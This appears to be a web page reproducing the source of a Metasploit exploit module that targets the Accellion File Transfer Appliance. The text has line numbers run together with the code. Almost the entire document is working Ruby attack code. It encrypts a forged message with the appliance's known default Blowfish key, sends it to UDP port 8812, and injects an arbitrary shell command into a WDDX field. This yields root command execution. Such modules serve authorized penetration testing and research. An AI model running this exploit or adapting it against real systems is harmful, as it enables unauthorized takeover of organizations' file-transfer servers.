Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/accellion_fta_mpipe2.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'openssl'6require 'rexml/element'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::Udp1213def initialize(info = {})14super(update_info(info,15'Name' => 'Accellion FTA MPIPE2 Command Execution',16'Description' => %q{17This module exploits a chain of vulnerabilities in the Accellion18File Transfer appliance. This appliance exposes a UDP service on19port 8812 that acts as a gateway to the internal communication bus.20This service uses Blowfish encryption for authentication, but the21appliance ships with two easy to guess default authentication keys.22This module abuses the known default encryption keys to inject a23message into the communication bus. In order to execute arbitrary24commands on the remote appliance, a message is injected into the bus25destined for the 'matchrep' service. This service exposes a function26named 'insert_plugin_meta_info' which is vulnerable to an input27validation flaw in a call to system(). This provides access to the28'soggycat' user account, which has sudo privileges to run the29primary admin tool as root. These two flaws are fixed in update30version FTA_8_0_562.31},32'Author' => [ 'hdm' ],33'License' => MSF_LICENSE,34'References' =>35[36['OSVDB', '71362'],37['OSVDB', '71363'],38['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],39],40'Platform' => ['unix'],41'Arch' => ARCH_CMD,42'Privileged' => true,43'Payload' =>44{45'Space' => 1024,46'DisableNops' => true,47'Compat' =>48{49'PayloadType' => 'cmd',50'RequiredCmd' => 'generic perl ruby telnet',51}52},53'Targets' =>54[55[ 'Automatic', { } ]56],57'DefaultTarget' => 0,58'DisclosureDate' => '2011-02-07'59))6061register_options(62[63Opt::RPORT(8812),64OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])65])66end6768def exploit69connect_udp7071appid = datastore['APPID']72encoded_command = REXML::Text.new(payload.encoded).to_s7374wddx = %Q|75<wddxPacket version='1.0'>76<header/>77<data>78<struct>79<var name='50001'><string>insert_plugin_meta_info</string></var>80<var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>81<var name='aid'><string>#{appid}</string></var>82<var name='client_ip'><string>127.0.0.1</string></var>83<var name='package_id'><string>1</string></var>84<var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>85<var name='expiry_time'><string>'; #{encoded_command}; #'</string></var>86</struct>87</data>88</wddxPacket>|8990packet = [91rand(0xffffffff), # Source Location ID928888, # Destination Location ID93rand(0xffff), # Source Application9450001, # Destination Application (matchrep)95Time.now.to_i96].pack("NNnnN") + wddx9798header = [990, # Flags1000, #1011, # Sequence Number (must be the lowest seen from Source ID)10233 # Execute (pass message to destination)103].pack("CCNC") + packet104105data = [ simple_checksum(header) ].pack("n") + header106enc = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)107108udp_sock.put("\x01" + enc)109110handler111disconnect_udp112end113114def simple_checksum(data)115sum = 0116data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }117sum118end119120#121# This implements blowfish-cbc with an MD5-expanded 448-bit key122# using RandomIV for the initial value.123#124def blowfish_encrypt(pass, data)125126# Forces 8-bit encoding127pass = pass.unpack("C*").pack("C*")128data = data.unpack("C*").pack("C*")129130# Use 448-bit keys with 8-byte IV131key_len = 56132iv_len = 8133134# Expand the key with MD5 (key-generated-key mode)135hash = OpenSSL::Digest::MD5.digest(pass)136while (hash.length < key_len)137hash << OpenSSL::Digest::MD5.digest(hash)138end139140key = hash[0, key_len]141iv = Rex::Text.rand_text(iv_len)142143c = OpenSSL::Cipher.new('bf-cbc')144c.encrypt145c.key_len = key_len146c.key = key147c.iv = iv148149"RandomIV" + iv + c.update(data) + c.final150end151end152153154